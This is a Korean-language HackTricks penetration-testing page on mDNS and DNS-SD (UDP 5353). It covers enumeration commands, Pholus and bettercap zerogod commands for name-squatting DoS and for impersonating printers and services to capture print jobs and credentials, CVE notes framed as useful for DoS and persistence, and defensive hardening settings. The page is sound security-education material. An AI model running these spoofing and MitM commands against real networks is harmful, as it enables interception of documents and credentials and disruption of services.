5353/UDP Multicast DNS (mDNS) and DNS-SD

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

기본 정보

Multicast DNS (mDNS)는 유니캐스트 DNS 서버 없이 로컬 링크 내에서 DNS와 유사한 이름 해석과 서비스 검색을 가능하게 합니다. 이 프로토콜은 UDP/5353과 멀티캐스트 주소 224.0.0.251 (IPv4) 및 FF02::FB (IPv6)를 사용합니다. DNS Service Discovery (DNS-SD, 일반적으로 mDNS와 함께 사용됨)는 PTR, SRV 및 TXT 레코드를 통해 서비스를 열거하고 설명하는 표준화된 방법을 제공합니다.

PORT     STATE SERVICE
5353/udp open  zeroconf

공격에서 자주 활용할 주요 프로토콜 세부사항:

  • .local 존의 이름은 mDNS를 통해 해석됩니다.
  • QU (Query Unicast) 비트는 멀티캐스트 질문에도 unicast 응답을 요청할 수 있습니다.
  • 구현체는 로컬 링크에서 출발하지 않은 패킷을 무시해야 하지만, 일부 스택은 여전히 이를 수락합니다.
  • Probing/announcing은 호스트/서비스 이름의 고유성을 강제합니다; 여기에 간섭하면 DoS/“name squatting” 상태를 만들 수 있습니다.

DNS-SD 서비스 모델

서비스는 .local 아래에서 _._tcp 또는 _._udp 형태로 식별됩니다. 예: _ipp._tcp.local (printers), _airplay._tcp.local (AirPlay), _adb._tcp.local (Android Debug Bridge) 등. _services._dns-sd._udp.local로 타입을 발견한 뒤, 발견된 인스턴스를 SRV/TXT/A/AAAA로 해석하세요.

네트워크 탐색 및 열거

  • nmap 대상 스캔 (호스트에서 직접 mDNS):
nmap -sU -p 5353 --script=dns-service-discovery <target>
  • nmap 브로드캐스트 발견 (세그먼트를 리스닝하여 모든 DNS-SD 타입/인스턴스 열거):
sudo nmap --script=broadcast-dns-service-discovery
  • avahi-browse (Linux):
# List service types
avahi-browse -bt _services._dns-sd._udp
# Browse all services and resolve to host/port
avahi-browse -art
  • Apple dns-sd (macOS):
# Browse all HTTP services
dns-sd -B _http._tcp
# Enumerate service types
dns-sd -B _services._dns-sd._udp
# Resolve a specific instance to SRV/TXT
dns-sd -L "My Printer" _ipp._tcp local
  • Packet capture with tshark:
# Live capture
sudo tshark -i <iface> -f "udp port 5353" -Y mdns
# Only DNS-SD service list queries
sudo tshark -i <iface> -f "udp port 5353" -Y "dns.qry.name == \"_services._dns-sd._udp.local\""

팁: 일부 브라우저/WebRTC는 로컬 IP를 은닉하기 위해 일시적 mDNS 호스트명을 사용합니다. 네트워크에서 random-UUID.local 후보를 보면, mDNS로 해석하여 로컬 IP로 피벗하세요.

공격

mDNS 이름 probing 간섭 (DoS / name squatting)

프로빙 단계에서 호스트는 이름의 고유성을 확인합니다. 스푸핑된 충돌로 응답하면 호스트는 새 이름을 선택하거나 실패하게 됩니다. 이는 서비스 등록 및 검색을 지연시키거나 차단할 수 있습니다.

Example with Pholus:

# Block new devices from taking names by auto-faking responses
sudo python3 pholus3.py <iface> -afre -stimeout 1000

서비스 스푸핑 및 사칭 (MitM)

광고되는 DNS-SD 서비스를(프린터, AirPlay, HTTP, 파일 공유)를 사칭하여 클라이언트를 당신에게 연결되도록 유도하세요. 특히 다음에 유용합니다:

  • 문서를 캡처하려면 _ipp._tcp 또는 _printer._tcp를 spoofing하세요.
  • 클라이언트를 HTTP/HTTPS 서비스로 유도하여 tokens/cookies를 수집하거나 payloads를 전달하세요.
  • Windows 클라이언트가 auth를 협상할 때 NTLM relay techniques와 결합하여 spoofed services를 이용하세요.

With bettercap’s zerogod module (mDNS/DNS-SD spoofer/impersonator):

# Start mDNS/DNS-SD discovery
sudo bettercap -iface <iface> -eval "zerogod.discovery on"

# Show all services seen from a host
> zerogod.show 192.168.1.42
# Show full DNS records for a host (newer bettercap)
> zerogod.show-full 192.168.1.42

# Impersonate all services of a target host automatically
> zerogod.impersonate 192.168.1.42

# Save IPP print jobs to disk while impersonating a printer
> set zerogod.ipp.save_path ~/.bettercap/zerogod/documents/
> zerogod.impersonate 192.168.1.42

# Replay previously captured services
> zerogod.save 192.168.1.42 target.yml
> zerogod.advertise target.yml

Also see generic LLMNR/NBNS/mDNS/WPAD spoofing and credential capture/relay workflows:

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

최근 구현 문제 메모 (실무에서 DoS/지속성에 유용)

  • Avahi reachable-assertion 및 D-Bus crash 버그(2023)는 Linux 배포판에서 avahi-daemon을 종료시켜(예: CVE-2023-38469..38473, CVE-2023-1981) 재시작 전까지 대상 호스트의 서비스 검색을 중단시킬 수 있습니다.
  • Cisco IOS XE Wireless LAN Controller mDNS gateway DoS (CVE-2024-20303)는 인접한 WLAN 클라이언트가 조작된 mDNS를 대량 전송하도록 하여 WLC CPU 사용량을 급증시키고 AP 터널을 끊게 만들 수 있습니다 — 실무에서 클라이언트 강제 로밍이나 컨트롤러 리셋이 필요할 때 유용합니다.
  • Apple mDNSResponder logic error DoS (CVE-2024-44183)는 샌드박스된 로컬 프로세스가 Bonjour를 크래시시켜 Apple 엔드포인트에서 서비스 게시/조회가 잠시 중단되게 할 수 있습니다; 현재 iOS/macOS 릴리스에서 패치되었습니다.
  • Apple mDNSResponder correctness issue (CVE-2025-31222)은 mDNSResponder를 통한 로컬 권한 상승을 허용했으며, 관리되지 않는 Mac/iPhone에서 지속성 확보에 유용했습니다; 최근 iOS/macOS 업데이트에서 수정되었습니다.

Browser/WebRTC mDNS 고려사항

모던 Chromium/Firefox는 호스트 후보를 무작위 mDNS 이름으로 난독화합니다. Chrome 정책 WebRtcLocalIpsAllowedUrls를 밀어넣거나(chrome://flags/#enable-webrtc-hide-local-ips-with-mdns/Edge 동등 옵션을 토글) ICE가 mDNS 대신 호스트 후보를 노출하도록 하면 관리되는 엔드포인트에서 LAN IP를 다시 노출시킬 수 있습니다; 설정은 HKLM\Software\Policies\Google\Chrome를 통해 적용됩니다.

사용자가 수동으로 보호 기능을 비활성화하면(웹RTC 문제 해결 가이드에서 흔함) 브라우저가 다시 일반 호스트 후보를 광고하기 시작하고, 이는 mDNS 또는 ICE 시그널링을 통해 캡처하여 호스트 발견을 가속화할 수 있습니다.

방어 고려사항 및 OPSEC

  • 세그먼트 경계: mDNS gateway가 명시적으로 필요한 경우를 제외하고 224.0.0.251/FF02::FB를 보안 존 간에 라우팅하지 마세요. discovery를 브리지해야 한다면 허용 목록과 속도 제한을 우선 사용하세요.
  • Windows 엔드포인트/서버:
  • mDNS를 통한 이름 해석을 완전히 비활성화하려면 레지스트리 값을 설정하고 재부팅하세요:
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD)
  • 관리되는 환경에서는 기본 제공되는 “mDNS (UDP-In)” Windows Defender Firewall 규칙(적어도 도메인 프로파일에서)을 비활성화하여 수신 mDNS 처리를 방지하되 홈/로밍 기능은 유지하세요.
  • 최신 Windows 11 빌드/GPO 템플릿에서는 정책 “Computer Configuration > Administrative Templates > Network > DNS Client > Configure multicast DNS (mDNS) protocol”을 사용하고 Disabled로 설정하세요.
  • Linux (Avahi):
  • 필요하지 않을 때는 퍼블리싱을 잠그세요: /etc/avahi/avahi-daemon.conf에서 disable-publishing=yes로 설정하고 allow-interfaces= / deny-interfaces=로 인터페이스를 제한하세요.
  • check-response-ttl=yes를 고려하고, 엄격히 필요하지 않다면 enable-reflector=yes는 피하세요; 반사(reflecting) 시에는 reflect-filters= 허용 목록을 사용하는 것이 좋습니다.
  • macOS: 특정 서브넷에서 Bonjour 검색이 필요하지 않다면 호스트/네트워크 방화벽에서 수신 mDNS를 제한하세요.
  • 모니터링: _services._dns-sd._udp.local 쿼리의 비정상적 급증이나 중요한 서비스의 SRV/TXT의 급격한 변경이 감지되면 경보를 설정하세요; 이는 스푸핑 또는 서비스 사칭의 지표입니다.

도구 빠른 참조

  • nmap NSE: dns-service-discovery and broadcast-dns-service-discovery.
  • Pholus: active scan, reverse mDNS sweeps, DoS and spoofing helpers.
# Passive sniff (timeout seconds)
sudo python3 pholus3.py <iface> -stimeout 60
# Enumerate service types
sudo python3 pholus3.py <iface> -sscan
# Send generic mDNS requests
sudo python3 pholus3.py <iface> --request
# Reverse mDNS sweep of a subnet
sudo python3 pholus3.py <iface> -rdns_scanning 192.168.2.0/24
  • bettercap zerogod: discover, save, advertise, and impersonate mDNS/DNS-SD services (see examples above).

Spoofing/MitM

이 서비스 상에서 수행할 수 있는 가장 흥미로운 공격은 클라이언트와 실제 서버 간 통신에서 MitM을 수행하는 것입니다. 프린터와의 통신을 MitM하여 민감한 파일을 획득하거나 Windows 인증 같은 자격증명을 얻을 수 있습니다.
자세한 내용은 다음을 참조하세요:

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

참고자료

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기